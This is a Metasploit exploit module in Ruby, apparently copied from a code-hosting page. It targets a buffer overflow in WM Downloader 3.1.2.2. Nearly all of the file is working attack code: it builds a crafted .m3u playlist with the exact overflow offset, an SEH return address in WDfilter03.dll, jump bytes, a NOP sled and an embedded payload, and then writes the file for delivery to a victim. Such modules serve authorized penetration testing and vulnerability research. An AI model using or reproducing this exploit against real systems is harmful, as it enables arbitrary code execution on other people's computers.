77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
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the application is used to import a specially crafted m3u file, a buffer overflow occurs
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allowing arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'fdisk', # Original Exploit
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'dookie' # MSF Module
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],
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'References' =>
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[
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[ 'OSVDB', '66911'],
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[ 'EDB', '14497' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x09\x0a",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jul 28 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
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], self.class)
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end
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def exploit
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sploit = rand_text_alpha_upper(43480) # Offset for WinXP
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sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset
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sploit << [target.ret].pack('V') # Offset
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sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset
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sploit << "\xeb\x0C\x90\x90" # Jump over the cruft
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sploit << [target.ret].pack('V') # Offset
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sploit << "\x90" * 8
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sploit << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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